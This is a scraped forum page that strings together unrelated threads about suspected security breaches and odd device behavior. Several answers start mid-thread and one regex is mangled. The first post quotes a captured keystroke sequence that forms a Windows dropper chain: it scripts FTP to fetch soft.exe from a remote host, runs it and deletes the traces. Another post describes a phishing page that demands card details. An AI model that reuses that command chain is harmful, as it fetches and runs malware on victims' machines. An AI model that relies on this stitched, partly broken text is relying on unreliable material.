Unusual behavior (security breach?)

I'm getting estrange "keyboard types" on my mac, it doesn't matter in what app i'm working on.
I figured out the char sequence because of the firefox search box that I was typing in:
"ho bye .. ik 7ftp 'n 'v 'sñik 7del ik 7soft.exe 7exit"
Any one knows something about this?

Wait there is more to it:
"em32çcmd.execmd -c echo open ip 21 .. ik 7echo user dsluser telnet .. ik 7echo binary .. ik 7echo get soft.exe .. ik 7echo bye .. ik 7ftp 'n 'v 'sñik 7del ik 7soft.exe 7exit"
any ideas?

Similar Messages

When i try to connect to facebook with firefox, facebook wants me to send in card informaion and says that there have been unusually behavior in my account even thought it hasnt, it works in every other browser?

When i try to connect to Facebook with Firefox, Facebook tells me to Verificate my account with my cardnumber and also my adress, it tells me that We detected some unusually behavior in your account, for your security in order to can access your account please send us all requried informations, the credit card number must be yours or a member of your family. We won't save the credit card in our datebase and won't make any charges. We ask only for verification purpose.
Why is this? Facebook works with every other browser and on other computers and i dont have trojan.

I had the same prob. but recently i just formated my laptop and after that it starts working finely in firefox i think it was a kind of virus that discont. after formating the laptop. only windows drive....

Did you know when you type in your email in google your behance pdf resume shows up? This is a security breach!

I typed my email address in Google and my Behance pdf resume shows up with all my information. Did you all know this? This is a security breach in my opinion.
Message was edited by: Carol Smith

HI Carol,
Thanks for writing. It looks like you had selected your work experience to be visible to the public, so this is why it was visible online. Now I see that you have your work experience listed as private (other than what you have on your profile), so this should no longer be the case. Let me know if you're still seeing this searh result and what exact google term you searched for it to come up.
Thanks, talk to you soon!

When I close firefox "everything " is cleared! EXCEPT when I open it again and anything i have copied to the clipboard (paste icon) remains lit... I believe this can be a security breach because I clear everything when closing firefox !!

I have my settings to clear everything when I close firefox ver 3.6.13. If I copy something to the clipboard, the Paste icon lights up so I can paste the text... which is normal.
The problem is when I close the browser and everything is suppose to clear (history, etc) the PASTE Icon still lights up for me to paste again.
This can be a security breach because I want everything cleared when closing the browser !!!
The only way I can rid myself of this problem is to restart the computer... which clears the clipboard of the operatinging... which is absolutely normal as well.
I should not have to restart the computer each time.
Try It !!! type text in any box... then paste it by using the PASTE Icon
CLEAR all your history, everything ... then close firefox
Reopen the browser... and the PASTE Icon will light up

I only had a few addons installed, I disabled Zone Alarm toolbar, View Source Chart 3.01. I also had 5 separate java console updates/addons, and I uninstalled all but the latest java console 6.0.21. All I have now is Roboform 6.9.98, Firebug 1.5.4, Java console 6.0.21, Java quick starter 1.0. So far, so good, the problem has not occurred today. I hope this is it, I will be more sure after a few days problem free. Thanks for the info.

Popup with the text "Security Breach" in Safari

My son told me he saw a popup with the text "Security Breach" when visiting a website. He is concerned that his phone may be compromized. He is using Safari, iOS 6.0.1 on a iPhone 4S. The was a n OK button on the popup. He pressed it and the popup disappeared. Is there serious danger here?

This may be caused by a problem with an add-on. Try the procedure in the [[Troubleshooting extensions and themes]] article.

Security Breach on the Ubuntu Forums

So apparently the ubuntu forums got hacked and someone made out with 2 million usernames, passwords and email adresses- ouch! Their site is currently down. Just posting as an FYI because their advice is to change your password if you have an account there and use it for multiple sites.
Ubuntu Forums is down for maintenance
There has been a security breach on the Ubuntu Forums. The Canonical IS team is working hard as we speak to restore normal operations. This page will be updated regularly with progress reports.
What we know
Unfortunately the attackers have gotten every user's local username, password, and email address from the Ubuntu Forums database.
The passwords are not stored in plain text, they are stored as salted hashes. However, if you were using the same password as your Ubuntu Forums one on another service (such as email), you are strongly encouraged to change the password on the other service ASAP.
Ubuntu One, Launchpad and other Ubuntu/Canonical services are NOT affected by the breach.
Progress report
2013-07-20 2011UTC: Reports of defacement
2013-07-20 2015UTC: Site taken down, this splash page put in place while investigation continues.
If you're using Ubuntu and need technical support please see the following page for support:
Finding Help.
If you're looking for a place to discuss Ubuntu, in the meantime we encourage you to check out these sites:
Last edited by w201 (2013-07-22 08:59:58)

fukawi2 wrote:An unfortunate event for Canonical and the Ubuntu team. Glad to see the passwords were at least hashed, and with a salt.
Unfortunately md5 hashes even with salt are easily crackable. On the other hand, it's just a forum account and since they alerted people early, anyone foolish enough to use the same password elseware can change the other password on time.
One thing I disliked is that they haven't alerted people by email, at least I haven't got one yet. I got this information from various source, but many people (dormant accounts / less frequent users) are unlikely to know of it.
Last edited by x33a (2013-07-22 17:15:35)

I heard there was a security breach in Java installed in Macs and that there is a patch to fix it. But that's all I know. Is there more info available?

I heard there was a security breach in Java installed in Macs and that there is a patch to fix it, but that's all I know. Does anyone know how to fix it?

There isn't a patch for a computer running Leopard .
Leopard and earlier users see recommendations at: https://discussions.apple.com/thread/3872491

Macbook unusual behavior during early hours.

Well for starters I've had my Black Macbook, pretty sure it's 13 inches, for almost 3 years now. In that time I honestly can't recall this ever happening. I've heard it wake itself before, but that was because I still had something plugged into the USB port. Yesterday though it exhibited some unusual behavior though. One in which I don't ever recall encountering before. It had been asleep since around I believe 9am the previous day. However at 3:27am the unusual behavior occurred. While still sleeping, the same noise as when a cd/dvd is being ejected was made. It was somewhat loud I guess since the tv was on low and I didn't have any fan on. But after making the sound, the light indicating sleep no longer blinked instead it just stayed on. The apple in the lid wasn't lit so I don't think it woke up. But that sleep light just stayed lit for at least a minute. I was a bit shocked much to do anything else.
Well I then opened up the lid and my Mac woke up as usual. At first I thought it might have been doing the weekly update, but when checked it still showed the last time I checked it. Remembering something I read in a different thread on the forums I went and checked console to see if anything unusual happened.
Sure enough I found a log for around the exact time my Mac exhibited the unusual behavior.
2009-08-08 07:15:57 -0400
MobileDevice: AMDeviceNotificationSubscribe: USBMuxListenerCreate: Connection refused
Message was edited by: reaper058

Not sure if the entire post shows, but here's the log from console and a snippet from the system log of where I might think the problem started
Sure enough I found a log for around the exact time my Mac exhibited the unusual behavior.
Aug 9 03:27:48 Macintosh mDNSResponder: Repeated transitions for interface lo0 (127.0.0.1); delaying packets by 5 seconds
Aug 9 03:27:59 Macintosh mDNSResponder: NOTE: Wide-Area Service Discovery disabled to avoid crashing defective DNS relay 192.168.1.1.
System log showed this:
Aug 9 03:27:31 Macintosh kernel[0]: IOBluetoothHCIController::restartShutdownWL this is a wake from sleep
Aug 9 03:27:31 Macintosh kernel[0]: System Wake
Aug 9 03:27:31 Macintosh kernel[0]: IOUSBWorkLoop::closeGate - interrupt Thread being held offUSB caused wake event (EHCI)
Aug 9 03:27:31 Macintosh kernel[0]: IOBluetoothHCIController::terminateWL .. done
Aug 9 03:27:31 Macintosh kernel[0]: CSRHIDTransitionDriver::probe:
Aug 9 03:27:31 Macintosh kernel[0]: CSRHIDTransitionDriver::start before command
Aug 9 03:27:31 Macintosh kernel[0]: CSRHIDTransitionDriver::stop
Aug 9 03:27:31 Macintosh kernel[0]: IOBluetoothHCIController::start Idle Timer Stopped
Aug 9 03:27:32 Macintosh kernel[0]: Registering For 802.11 Events
Aug 9 03:27:32 Macintosh kernel[0]: [HCIController][setupHardware] AFH Is Supported
Aug 9 03:27:36 Macintosh kernel[0]: hibernate image path: /var/vm/sleepimage
Aug 9 03:27:36 Macintosh kernel[0]: sizeof(IOHibernateImageHeader) == 512
Aug 9 03:27:36 Macintosh kernel[0]: Opened file /var/vm/sleepimage, size 1073741824, partition base 0xc805000, maxio 400000
Aug 9 03:27:36 Macintosh kernel[0]: hibernate image major 14, minor 2, blocksize 512, pollers 3
Aug 9 03:27:36 Macintosh kernel[0]: hibernateallocpages flags 00000000, gobbling 0 pages
Aug 9 03:27:36 Macintosh lookupd[398]: lookupd (version 369.8) starting - Sun Aug 9 03:27:36 2009
elp would be most appreciated. Thank You

Af:query unusual behavior 11.1.1.4.0

JDeveloper 11.1.1.4.0
Hi, I'm experiencing unusual behavior in an af:query object. I have two variables VariableClientId and VariableCan in a view object's view criteria. When I run the form in Weblogic to test it, the af:query shows not only the two mentioned variables, but also two fields ClientId and Can. How do I make two of these input fields disappear and only show two inputs for the af:query object? I've searched all over and can't seem to find what is driving the extra fields.
                  <af:query id="qryId1" headerText="Search" disclosed="true"
                            value="#{bindings.SearchByCIDAndCanQuery.queryDescriptor}"
                            model="#{bindings.SearchByCIDAndCanQuery.queryModel}"
                            queryListener="#{MyBean.processQuery}"
                            queryOperationListener="#{bindings.SearchByCIDAndCanQuery.processQueryOperation}"
                            resultComponentId="::pc1:resId1"/>Thanks,
Troy

Make sure they are not in query. Otherwise they have to be required, you can change the display hint to hidden if you want to hide them

Mail OS X Security breach...

FYI.
Apparently my Mail program was hacked. I'm no expert on security breaches but the story goes like this...
Our ISP was acting up. I've verified w/4 others in the neighborhood (both Windows and Mac) using the same ISP who were experiencing the same issue. Would load some sites, some just wouldn't load. I've no idea if this is relative or not, but...
The wife couldn't check her email because the Internet wouldn't connect. I looked at it, figured it was down, and went to bed. Next morning EVERY email in all 5 of my emails accounts was gone, except for my wife's account. Per the wife, she checked before she went to bed and all emails were gone in all accounts. She said there was an open window called Tiger Mail that said; If you'd like to continue to receive your email, click here. (Uh oh). She did and her inbox filled right up.
Malware?
I did a full erase/reformat regardless.

See if you might have this malware redirecting DNS queries...
http://macmegasite.com/node/3924
How to fix...
http://www.macosxhints.com/article.php?story=20071031114140862
Nasty Nasty ! 1023.dmg...
http://x704.net/bbs/viewtopic.php?f=12&t=2178
http://www.dnschanger.com/

Does anyone know of the security breach on the iphone and what to down load to fix it?

DOES ANYONE KNOW ANYTHING ABOUT THE SECURITY BREACH ON THE IPHONE AND IF YOU DO, WHAT DO YOU DOWN LOAD TO FIX IT?

http://support.apple.com/kb/HT6147
http://support.apple.com/kb/HT1222
http://support.apple.com/kb/DL1723
There is no security breach as such but rather a possibility of one dependant on a number of factors which may or may not be applicable to you and/or your usage.
The recommendation is to update to the latest 7.0.6 update listed above. For iDevices such as the iPhone I would recommend doing this using iTunes rather than OTA. Tends to be more reliable that way.

UNUSUAL BEHAVIOR

I have noticed some very unusual behavior with my iPhone4 lately.While charging the phone, the screen changes from the main screen to my contacts, or, to my camera, etc. This has also happened a few times when I was holding the phone in my hand...but not touching anything. I just did a reset...hopefully that will correct it. Anyone else having this issue?

user646292 wrote:
OK...here is the code...
returns 14000 and change....the table doesnt matter as I can use any table name and get the same results. If there was an error with the code itself, you would think it would be reflected in the select.Not true. For some kinds of bad code Oracle does make assumptions. A comparison over two different datatypes is an example for such "bad" code.
Oracle has to do conversion from one datatype to the other.
Here are rules that are used:
>
The following rules govern the direction in which Oracle Database makes implicit datatype conversions:
1) During INSERT and UPDATE operations, Oracle converts the value to the datatype of the affected column.
2) During SELECT FROM operations, Oracle converts the data from the column to the type of the target variable.
Let's now look at your code
yearmonth BETWEEN 20075 AND 20077I assume that yearmonth is a string column.
Inside a select Oracle would compare like this (rule 2)
to_number(yearmonth) BETWEEN 20075 AND 20077Inside an insert Oracle would compare like this (rule 1)
yearmonth BETWEEN to_char(20075) AND to_char(20077)Not sure if this really explains the difference you have, but I would search for problems along those lines. It might also depend on the database version.
Could also be a different column that causes the error.
Edited by: Sven W. on Oct 16, 2008 2:27 PM
Edited by: Sven W. on Oct 16, 2008 2:30 PM

New Apps User defaults with all User Edition Privileges - Security Breach?

Please check the following Scenario/Issue and please let me know if anyone has a solution for it.
1. In Apps, created following Responsibilities
- Payables Inquiry-Only User
- Projects Inquiry-Only User
2. In Discoverer Admin, Tools->Privileges, assigned following privilege to "Payables Inquiry-Only User"
- User Edition Parent only (unchecked all child privileges such as Create/Edit Query)
3. In Discoverer Admin, Tools->Security, mapped following Responsibilities/Business Areas (BA)
- Resp: Payables Inquiry-Only User BA: AP Payables
- Resp: Projects Inquiry-Only User BA: PA Projects
4. In Apps, created user DISC_INQUIRY_USER, assigned following responsibilities
- Payables Inquiry-Only User
- Projects Inquiry-Only User
5. At this stage, if user connects to User Edition;
- user is able to create new query in BA: AP Payables or BA: PA Projects depending on login Responsibility
- By default Discoverer assigns all User Edition Privileges to new Apps User including Create/Edit Query
Requirement
1. Create new Apps User DISC_INQUIRY_USER, assign it Inquiry-Only Responsbilities
2. Login to User Edition - DISC_INQUIRY_USER: Payables Inquiry-Only User
- User can inquiry Workbooks associated with Resp: Payables Inqiry-Only user
- Should not be able to create new workbooks
3. Login to User Edition - DISC_INQUIRY_USER: Projects Inquiry-Only User
- User can inquiry Workbooks associated with Resp: Projects Inquiry-Only User
- Should not be able to create new workbooks
Issue
There is time-gap between creating Apps User and login to Discoverer Admin to remove user privileges. This is security Breach, is their any way to change get around it.
- Discoverer gives precedence to Responsibility Privileges over User Privileges. Is their any way to change it?
- Is it possible to change default Privileges for new Apps User?
- I am facing this issue in Discoverer 4.1.48, Does discoverer Admin behaves differently in latest Versions?

Nobody helps you except yourself. ;)
So, this query get privileges for user PUBLIC
select eap.ap_id, eap.gp_app_id
from eul5_eul_users eeu,
eul5_access_privs eap
where eeu.eu_username = 'PUBLIC'
and eap.ap_eu_id = eeu.eu_id
and eap.ap_type = 'GP'
In my case
3001     1000
3002     1001
3003     1002
3004     1003
3005     1004
3006     1005
3015     1013
3016     1014
3017     1018
3018     1024
I research а corresponding between gp_app_id (second column) and real name of privilege and get the next list:
1000     Discoverer and Plus Privilege
1001     Create/Edit Query
1002     Item Drill
1003     Drill Out
1004     Grant Workbook
1005     Collect Query Statistics
1006     Administration Privilege
1007     Set Privilege
1008     Create/Edit Business Area
1009     Format Business Area
1010     Create/Edit Summaries
1012     Schedule Workbook
1013     Unknown
1014     Save Workbooks to Database
1015     Manage Scheduled Workbooks
1018     Unknown
1024     Create Link
So, the ID of privilege 'Save Workbooks to Database' is 1014. This privilege exists in table in spite of in Discoverer Administrator this option UNCHECK for user PUBLIC.
This is a REAL BUG!!!
Then I executed query
delete from eul5_access_privs where ap_id = 3016
and after that all became right.
Now please explain me this bug. And I have question - which privileges have IDs 1013 and 1018?
Thank you.

How many security breaches do you think there really are?

Lieberman Software released a study today that finds 87% of IT pros believe the reports of security breaches among financial institutions belie the true number of hacks occurring within the industry.According to eWeek, the report, which surveyed nearly 150 IT pros, concludes that IT faces a lack of confidence concerning of advanced persistent threat (APT) attacks and how organizations are able to deal with them.Speaking with eWeek, the current President of Lieberman Software, Philip Lieberman, explained that the rising use of "automation among attackers and the increased use of zero days and unpatched vulnerabilities are adding to [the security risks that organizations face]." While IT is partof the problem, Lieberman places a larger portion of blame with senior leadership, which doesn't build "resiliency into their business operations...
This topic first appeared in the Spiceworks Community

Hi Shanti,
I did not have that specific problem.
The way I stripped the envelope was by simply using embedded JAVA and a regular expression (an alternative to this could be to make your message a DOM object and use XPath to extract the payload).
I found that this did not work in my case because I needed the header in the original message. So instead I am currently using XPath at the invoked webservice instead.
I am still working on finding a way to get a proper message sent from BPEL. Here is some suggestions from my SR to Oracle:
1. Continue to use your current solution. (paraphrased by me)
2. Do not wrap the MESSAGES with a SOAP envelope before they are placed on the inbound JMS queue.
3. If appropriate try and use HTTP BINDINGS to invoke the WebSevices.
I am working on the 3rd option, since the first two are not usable in my case.
Regards,
Aagaard
PS: My reg. ex. looked something like this:
aSource = aSource.replaceAll("(?s)<backslashbackslash/SOAP-ENV:Body>.*", "");
aSource = aSource.replaceFirst("(?s)^.*<SOAP-ENV:Body>\n+", "");
aSource = aSource.replaceAll("(?s)backslashbackslash-backslashbackslashs+", "");

Confusing Packets Received vs. Packets Sent... Security breach?

Hello,
I want to know if the non-logical difference in bytes received and bytes sent is signaling a securty breach.
I controll my wireless connection very tightly; meaning, I only enable wireless when I am goint to use the internet wirlessly. If I am not connected through the internet wirelessly, wireless part of router is disabled.
However, through the router's control panel traffic monitoring interface, I have noticed that the amout of bytes I received vs. the amount of bytes sent doesn't make sense, and I wonder if this discrepancy may actually indicate a security breach of my network.
For example, I watched video through wireless connection for 3 hours. Before I started the wireless connection, the router's control panel traffic monitoring screen showed no bytes sent no bytes received. After the 3 hours, I got ths stats:
Received Bytes 101233736
Sent Bytes 3629425895
This is a huge difference for activity which I think is mostly receiveing data packets, and not sending packets elsewhere.
This difference is more than 2G of data sent out while I was watching video and doing nothing else. How can this be? I get almost 1G of video data, and I sent our 3G of data just watching video?
Could I get some feedback on why is there such a big difference, and whether this is normal traffic acitivty given the circumsances I described (e.g. watching video content, not doing anything else).
Thank you

Looks normal to me.
From the router much more data is to your PC and much less data is needed to sent from your PC.

Unusual behavior (security breach?)

Similar Messages

Maybe you are looking for